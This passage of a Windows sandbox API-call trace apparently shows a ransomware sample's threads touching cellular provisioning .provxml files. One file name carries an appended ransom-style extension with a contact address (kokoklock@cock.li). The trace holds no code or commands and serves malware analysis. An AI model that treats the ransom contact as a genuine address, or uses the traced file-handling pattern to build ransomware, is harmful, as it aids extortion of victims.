Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.818] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e598) returned 1 [0178.818] RtlExitUserThread (Status=0x0) Thread: id = 2773 os_tid = 0x13e0 [0178.567] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.877] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.877] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\213__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.877] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ed8) returned 1 [0178.877] RtlExitUserThread (Status=0x0) Thread: id = 2774 os_tid = 0x13e4 [0178.567] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.875] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.876] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\214__connections_cellular_vodafone it (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.876] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e6d8) returned 1 [0178.876] RtlExitUserThread (Status=0x0) Thread: id = 2775 os_tid = 0x13e8 [0178.568] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0178.874] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.874] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\215__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.874] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0178.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2c40) returned 1 [0178.875] RtlExitUserThread (Status=0x0) Thread: id = 2776 os_tid = 0x13ec [0178.569] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.873] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\216__connections_cellular_wind (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.873] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6098) returned 1 [0178.873] RtlExitUserThread (Status=0x0) Thread: id = 2777 os_tid = 0x13f0 [0178.569] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\217__connections_cellular_wind (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.872] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5658) returned 1 [0178.872] RtlExitUserThread (Status=0x0) Thread: id = 2778 os_tid = 0x13f4 [0178.570] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.870] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\218__connections_cellular_claro (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.871] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.871] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5b78) returned 1 [0178.871] RtlExitUserThread (Status=0x0) Thread: id = 2779 os_tid = 0x13f8 [0178.570] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.869] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\219__connections_cellular_claro (jamaica)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.869] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.870] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5a30) returned 1 [0178.870] RtlExitUserThread (Status=0x0) Thread: id = 2780 os_tid = 0x13fc [0178.570] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.868] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.868] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\21__connections_cellular_telstra (australia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.868] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e828) returned 1 [0178.868] RtlExitUserThread (Status=0x0) Thread: id = 2781 os_tid = 0xd84 [0178.571] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.816] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.816] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\220__connections_cellular_cable and wireless (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.816] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e978) returned 1 [0178.817] RtlExitUserThread (Status=0x0) Thread: id = 2782 os_tid = 0xd80 [0178.571] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\221__connections_cellular_digicel (jamaica)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.815] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305eae0) returned 1 [0178.815] RtlExitUserThread (Status=0x0) Thread: id = 2783 os_tid = 0xd30 [0178.572] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.814] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.814] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\222__connections_cellular_docomo (japan)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.814] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3350) returned 1 [0178.814] RtlExitUserThread (Status=0x0) Thread: id = 2784 os_tid = 0xcdc [0178.572] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0178.813] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.813] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\223__connections_cellular_docomo (japan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.813] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa61e0) returned 1 [0178.813] RtlExitUserThread (Status=0x0) Thread: id = 2785 os_tid = 0xce0 [0178.573] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml")) returned 0x20 [0178.866] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.866] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\224__connections_cellular_docomo (japan)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.866] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.866] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa5cc0) returned 1 [0178.866] RtlExitUserThread (Status=0x0) Thread: id = 2786 os_tid = 0xce4 [0178.574] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml")) returned 0x20 [0178.864] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\225__connections_cellular_docomo (japan)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.865] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.865] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa58e8) returned 1 [0178.865] RtlExitUserThread (Status=0x0) Thread: id = 2787 os_tid = 0xce8 [0178.574] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.863] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\226__connections_cellular_orange (jordan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.863] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0178.863] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff02a8) returned 1 [0178.864] RtlExitUserThread (Status=0x0) Thread: id = 2788 os_tid = 0xd20 [0178.575] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\227__connections_cellular_umniah (jordan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0178.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah 